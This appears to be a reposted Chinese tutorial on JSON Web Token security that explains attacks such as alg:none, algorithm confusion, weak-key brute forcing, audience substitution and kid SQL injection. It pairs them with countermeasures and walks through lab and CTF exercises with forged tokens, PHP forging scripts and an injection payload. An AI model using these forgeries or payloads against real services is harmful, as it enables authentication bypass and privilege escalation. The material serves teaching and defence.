您好,登錄后才能下訂單哦!
本篇文章為大家展示了如何深入了解Json Web Token,內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過這篇文章的詳細(xì)介紹希望你能有所收獲。
本來想用python DRF 的 JWT做,后來各種失敗。最終嘗試了用Php,發(fā)現(xiàn)非常便利。
PHP 版本 PHP 7.2.4-1+b2 (cli),也就是kali linux自帶的php,至于composer的安裝方法,以及各個(gè)庫(kù)的使用方法在此不展開,需要的話可以自己查閱官方文檔
在jwt.io上有些php jwt的庫(kù),在此說一下使用下來的感覺。只取了評(píng)分前三的庫(kù):
firebase/php-jwt Star 3786
支持PHP5/7;
操作非常簡(jiǎn)單,但是不具備很多功能,不是很推薦。
lcobucci/jwt Star Star 2729
支持PHP5/7;
不具備JWE的方法,操作簡(jiǎn)單;
不具備多重JWS,JWE方法以及其對(duì)應(yīng)序列化方法。
spomky-labs/jose Star 351
僅支持 PHP 7;
功能齊全,具有多重JWE,JWS,以及其對(duì)應(yīng)序列化方法。以上兩個(gè)都不具備。
JWT 的攻擊手段包括以下內(nèi)容:
參考網(wǎng)站:https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//。
當(dāng)服務(wù)端的秘鑰泄密的時(shí)候,JWT的偽造就變得非常簡(jiǎn)單容易。對(duì)此,服務(wù)端應(yīng)該妥善保管好私鑰,以免被他人竊取。
下文實(shí)戰(zhàn)中的 Juice Shop JWT issue 1 便是這個(gè)問題。之前談及過nonsecure JWT的問題。
簽名算法確保惡意用戶在傳輸過程中不會(huì)修改JWT。但是標(biāo)題中的alg字段可以更改為none。一些JWT庫(kù)支持無算法,即沒有簽名算法。當(dāng)alg為none時(shí),后端將不執(zhí)行簽名驗(yàn)證。將alg更改為none后,從JWT中刪除簽名數(shù)據(jù)(僅標(biāo)題+'.'+ payload +'.')并將其提交給服務(wù)器。
解決對(duì)策:
不允許出現(xiàn) none 的方法;
將開啟 alg : none 作為一種額外的配置選項(xiàng)。
HS256使用密鑰來簽名和驗(yàn)證每個(gè)消息。而RS256使用私鑰對(duì)消息進(jìn)行簽名并使用公鑰進(jìn)行認(rèn)證。
如果將算法從RS256更改為HS256,則后端代碼使用公鑰作為密鑰,然后使用HS256算法驗(yàn)證簽名。由于攻擊者有時(shí)可以獲取公鑰,因此攻擊者可以將標(biāo)頭中的算法修改為HS256,然后使用RSA公鑰對(duì)數(shù)據(jù)進(jìn)行簽名。
此時(shí),后端代碼就會(huì)使用RSA公鑰+HS256算法進(jìn)行簽名驗(yàn)證,從而讓驗(yàn)證通過。
解決對(duì)策:
不允許 HS256等對(duì)稱加密 算法讀取秘鑰。jwtpy就是限制了這種方法。當(dāng)讀取到 類似于 "--- xxx key ---" 的參數(shù)的時(shí)候應(yīng)拋出錯(cuò)誤;
將秘鑰與驗(yàn)證算法相互匹配。
如果HS256密鑰強(qiáng)度較弱,則可以直接強(qiáng)制使用,通過爆破 HS256的秘鑰可以完成該操作。難度比較低。解決對(duì)策很簡(jiǎn)單,使用復(fù)雜的秘鑰即可。
錯(cuò)誤的堆疊加密
這種攻擊發(fā)生在單個(gè)的或者嵌套的JWE中,我們想象一個(gè)JWE如下所示:
JWT RAW header : ... payload: "admin" : false "uid" : 123 "umail" : 123@126.com ... JWE Main protected / unprotected recipients: en_key : key1 en_key : key2 cipher : xxx
在攻擊者不修改秘鑰的情況下,對(duì)于ciphertext進(jìn)行修改。往往會(huì)導(dǎo)致解密的失敗。但是,即使是失敗,很多JWT的解密也是會(huì)有輸出的,在沒有附加認(rèn)證數(shù)據(jù)(ADD)的情況下更是如此。攻擊者對(duì)于ciphertext的內(nèi)容進(jìn)行修改,可能會(huì)讓其他的數(shù)據(jù)無法解密,但是只要最后輸出的payload中,有“admin":true。 其目的就已經(jīng)達(dá)到了。
解決對(duì)策:
對(duì)于JWE而言,應(yīng)當(dāng)解密所有數(shù)據(jù),而非從解密的結(jié)果中提取單個(gè)需要的數(shù)據(jù)。另外,利用附加認(rèn)證數(shù)據(jù)ADD,也是非常好的選擇。
簽名假設(shè)驗(yàn)證
這種攻擊發(fā)生嵌套的JWS中。我們想象一個(gè)嵌套的JWS,其包括了兩層的部分,其結(jié)構(gòu)如下:
JWT Main JWT Sub1 payload Signature2 Signature
現(xiàn)在,攻擊者通過一定的方式,能夠讓外層的驗(yàn)證通過的時(shí)候,此時(shí),系統(tǒng)還應(yīng)該檢查內(nèi)層的簽名數(shù)據(jù),如果不檢查,攻擊者就可以隨意篡改payload的數(shù)據(jù),來達(dá)到越權(quán)的目的。
解決對(duì)策:
因此對(duì)于嵌套JWS而言,應(yīng)當(dāng)驗(yàn)證所有層面的簽名是否正確,而非驗(yàn)證最外層的簽名是否正確就足夠。
橢圓曲線加密是一種非常安全的方式,甚至從某種程度上而言,比RSA更加安全。關(guān)于橢圓曲線的算法,在此不展開。
在橢圓曲線加密中,公鑰是橢圓曲線上的一個(gè)點(diǎn),而私鑰只是一個(gè)位于特殊但非常大的范圍內(nèi)的數(shù)字。 如果未驗(yàn)證對(duì)這些操作的輸入,那攻擊者就可以進(jìn)行設(shè)計(jì),從而恢復(fù)私鑰。
而這種攻擊已在過去中得到證實(shí)。這類攻擊被稱為無效曲線攻擊。這種攻擊比較復(fù)雜,也設(shè)計(jì)到很多的數(shù)學(xué)知識(shí)。詳細(xì)可以參考文檔:critical-vulnerability-uncovered-in-json-encryption。
解決對(duì)策:
檢查傳遞給任何公共函數(shù)的所有輸入是否有效是解決這類攻擊的關(guān)鍵點(diǎn)。驗(yàn)證內(nèi)容包括公鑰是所選曲線的有效橢圓曲線點(diǎn),以及私鑰位于有效值范圍內(nèi)。
在這種攻擊中,攻擊者需要至少獲得兩種不同的JWT,然后攻擊者可以將令牌中的一個(gè)或者兩個(gè)用在其他的地方。
在JWT中,替換共嘰有兩種方式,我們稱他們?yōu)橄嗤邮辗焦簦缭绞絁WT)和不同接收方攻擊。
不同接收方攻擊
我們可以設(shè)想一個(gè)業(yè)務(wù)邏輯如下:
Auth 機(jī)構(gòu),有著自己的私鑰,并且給 App1 和 App2 發(fā)放了兩個(gè)公鑰,用于驗(yàn)證簽名;
Attacker 利用自己的秘鑰登錄了 App1。
此時(shí) Auth 機(jī)構(gòu)給 Attacker 下發(fā)了一個(gè) 附帶簽名的JWT,其payload內(nèi)容為:
{ 'uname':'Attacker' 'role' :'admin' }
此時(shí),如果 Attacker 知道 App1 和 App2 的公鑰是同一個(gè)Auth 簽發(fā)的話,他可以利用這個(gè)JWT去登錄 App2,從而獲取Admin權(quán)限。
解決方法:
在jwt中帶上 aud 聲明,比如 aud : App1 這樣。來限定該jwt只能用于App1。
相同接收方攻擊/跨越式JWT same recipient/Cross JWT
我們可以設(shè)想一個(gè)業(yè)務(wù)邏輯如下:
在同一站點(diǎn)下,有兩個(gè)應(yīng)用程序,wordpress和phpmyadmin,他們都利用了相同的秘鑰對(duì)和算法來驗(yàn)證JWT簽名;
站點(diǎn)管理員知道 Different Recipient 的問題,所以給 wordpress 的應(yīng)用增加了 aud 驗(yàn)證,但是 phpmyadmin 的用戶人數(shù)較少,沒有增加 aud 的驗(yàn)證;
Attacker 利用自己的秘鑰登錄了 wordpress。
此時(shí) 站點(diǎn) 給 Attacker 下發(fā)了一個(gè) 附帶簽名的JWT,其payload內(nèi)容為:
{ 'uname':'Attacker' 'role' :'writer' 'aud' :'shaobaobaoer.cn/wordpress' 'iss' :'shaobaobaoer.cn' }
這個(gè)JWT看似非常安全,但這僅僅是對(duì)于 wordpress 的應(yīng)用程序而言,。從而Attacker 可以以 writer 的身份登錄 phpmyadmin。
解決方案:
為所有子應(yīng)用程序增加 aud 的驗(yàn)證
JWT + SQL 注入
參考鏈接:https://github.com/greunion/ctf-write-ups/tree/master/2018-nullcon/web/400-web6。
當(dāng)解密JWT的秘鑰很多的時(shí)候,往往需要通過kid來確定使用哪個(gè)秘鑰,而keyid參數(shù)通過b64加密來保存,可以被篡改。當(dāng)keyid要通過數(shù)據(jù)庫(kù)API拿取得時(shí)候,往往就會(huì)聯(lián)想到sql 注入。
我們可以想象一下的攻擊情況:
$keyID = $token-> getKeyID(); $keyContent = sqlAPI -> fromKeyidGetKeyContent($keyID) ### class sqlAPI(): function fromKeyidGetKeyContent($keyID){ $result= Query("select key_content from keyTable where key_id = '$keyID'"); return $result['key_content'] } ### if($token-> verify($JWA,$keyContetn)){ echo $flag; }
在下列比較簡(jiǎn)易的代碼中,通過讓數(shù)據(jù)庫(kù)返回值為我們自定義的key_content。就可以達(dá)到破解JWT的目的。
通過注入:
' union select 'easy' limit 1,1--+
即可讓秘鑰改成easy。
我搜到了一個(gè)demo,在線演示地址為:http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php。
GitHub地址為:https://github.com/Sjord/jwtdemo/。
使用firebase/jwt寫的php-jwt的demo??梢杂脕硗瓿珊竺娴念}目。
為了達(dá)到修改jwt的目的,我會(huì)把data字段改為:
"data":{ "hacker":"shaobaobaoer" }
該題目地址為:http://demo.sjoerdlangkemper.nl/jwtdemo/rs256。
在知道github項(xiàng)目的情況下,我們變相知道了公鑰私鑰的地址,直接訪問:
http://demo.sjoerdlangkemper.nl/jwtdemo/private.pem http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem
可以拿到公鑰私鑰的內(nèi)容,之后,利用我們自己的jwt庫(kù)進(jìn)行加密即可。
關(guān)鍵代碼如下所示:
$keychain = new Keychain(); $sign = new Sha256(); $token = "eyJ0eXAiO..."; $token = (new Parser())->parse((string) $token); $hacktoken = (new Builder()) ->setIssuer($token->getClaim('iss')) ->setIssuedAt($token->getClaim('iat')) ->setExpiration($token->getClaim('exp')) ->set("data",["hack"=>"shaobaobaoer"]) ->sign($sign,$keychain->getPrivateKey('file://key_box/private.pem')) ->getToken(); echo $hacktoken.PHP_EOL; var_dump($hacktoken->verify($sign,$keychain->getPublicKey('file://key_box/public.pem')));
可以看到,我們已經(jīng)更改成功。
juice shop 是一個(gè)OWASP 的 vulnerable WEB 項(xiàng)目,后端語(yǔ)言為node.js。
當(dāng)初我做的時(shí)候連jwt是什么都不知道,兩道jwt的題目就此跳過了,現(xiàn)在已經(jīng)掌握了這些概念,就可以拿出來回味一下。
關(guān)于juice shop 的大部分題解可以看OWASP juice shop 實(shí)戰(zhàn)報(bào)告。
題目描述
Forge an essentially unsigned JWT token that impersonates the (non-existing) user jwtn3d@juice-sh.op.
實(shí)戰(zhàn)過程
首先,先用萬能登錄,獲取到j(luò)wt 如下所示:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBqdWljZS1zaC5vcCIsInBhc3N3b3JkIjoiMDE5MjAyM2E3YmJkNzMyNTA1MTZmMDY5ZGYxOGI1MDAiLCJjcmVhdGVkQXQiOiIyMDE4LTA4LTEyIDA3OjUzOjM4LjA2NCArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTA4LTEyIDA3OjUzOjM4LjA2NCArMDA6MDAifSwiaWF0IjoxNTM0MDYwNTM5LCJleHAiOjE1MzQwNzg1Mzl9.Jivk7Pil6wukFkShzCCaHNq7qmxegvcyD83FkbglT0uYYP0azTW2rM-FH4R8WYneTu1A5gQmUjB6VdFJh8APz5Qej_AA4RP3Q6nH-9qbytxQ5cebiEuuhRSridDxbXxuS0-oquQ0PkRtpenJ75mLJFzVROeaBWgKFNNcFIrV9hs
放到 jwt.io中去解密??梢钥吹綌?shù)據(jù)的架構(gòu)如下所示:
之前我們做過實(shí)驗(yàn),當(dāng)alg選擇為 none 的時(shí)候,是不用對(duì)JWT進(jìn)行簽名的,這樣的jwt也被稱為 不安全的jwt。
這道題目的思路就是修改 alg。
當(dāng)后端不限定alg的時(shí)候,這種方法就可以被利用。當(dāng)然jwt.io是不會(huì)讓你把a(bǔ)lg改成none的。你需要自己手動(dòng)改:
對(duì)頭部稍微操作一下,得到的新token如下:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJqd3RuM2RAanVpY2Utc2gub3AiLCJwYXNzd29yZCI6IjAxOTIwMjNhN2JiZDczMjUwNTE2ZjA2OWRmMThiNTAwIiwiY3JlYXRlZEF0IjoiMjAxOC0wOC0xMiAwNzo1MzozOC4wNjQgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAxOC0wOC0xMiAwNzo1MzozOC4wNjQgKzAwOjAwIn0sImlhdCI6MTUzNDA2MDUzOSwiZXhwIjoxNTM0MDc4NTM5fQ
將新的jwt發(fā)送,可以解決這個(gè)題目:
后面還有個(gè)jwt issue 2 ,我分解不了公鑰,按照官方文檔的做法也無從下手。做出來的可以交流一二。
那個(gè)網(wǎng)站的后端代碼是不能夠演示加密方式修改的攻擊方法的。那篇博客有些問題。這邊就給出個(gè)樣例。
后端的偽代碼應(yīng)該如下所示:
# sometimes called "decode" verify(string token, string verificationKey){ # returns payload if valid token, else throws an error } string token = $input string verificationKey = file_get_content('rsa_pub.key')
后端代碼應(yīng)該會(huì)判斷jwt的加密方式,其實(shí)這種方法是比較局限的。首先對(duì)于一個(gè)優(yōu)秀的JWT的庫(kù)而言,RS256和SH256的認(rèn)證不會(huì)放在一起。另外,HMAC應(yīng)當(dāng)禁止公鑰作為secret。
例如:在pyjwt中,這種方法是被禁止的。會(huì)拋出錯(cuò)誤。
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.
大概寫了個(gè)小腳本,利用了公鑰來簽名,如下所示:
$secret = file_get_contents("./key_box/public.pem"); //var_dump($secret); $sign = new Sha256(); $token = "eyJ0eXAiO..."; $token = (new Parser())->parse((string) $token); $hacktoken = (new Builder()) ->setIssuer($token->getClaim('iss')) ->setIssuedAt($token->getClaim('iat')) ->setExpiration($token->getClaim('exp')) ->set("data",["hack"=>"shaobaobaoer"]) ->sign($sign,$secret) ->getToken(); echo $hacktoken.PHP_EOL; var_dump($hacktoken->verify($sign,$secret));
參考鏈接:https://delcoding.github.io/2018/03/jwt-bypass/。
在這道題目中,訪問web,可以返回一個(gè)jwt的字符串:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ImZhbHNlIn0.oe4qhTxvJB8nNAsFWJc7_m3UylVZzO3FwhkYuESAyUM
將它解密,可以發(fā)現(xiàn),算法是HS256,admin為flase。
{ "alg": "HS256", "typ": "JWT" } { "admin": "false" }
我們的目標(biāo)很簡(jiǎn)單,只需要將admin轉(zhuǎn)成true就可以了。而此刻能夠做的只有爆破秘鑰了。你當(dāng)然可以寫一個(gè)小腳本來爆破秘鑰,這里推薦一個(gè)工具c-jwt cracker。
通過小工具,我們能迅速跑出秘鑰來,我的VPS大概用了2m跑出了秘鑰 54l7y
。
提交JWT即可得到flag。
上述內(nèi)容就是如何深入了解Json Web Token,你們學(xué)到知識(shí)或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識(shí)儲(chǔ)備,歡迎關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。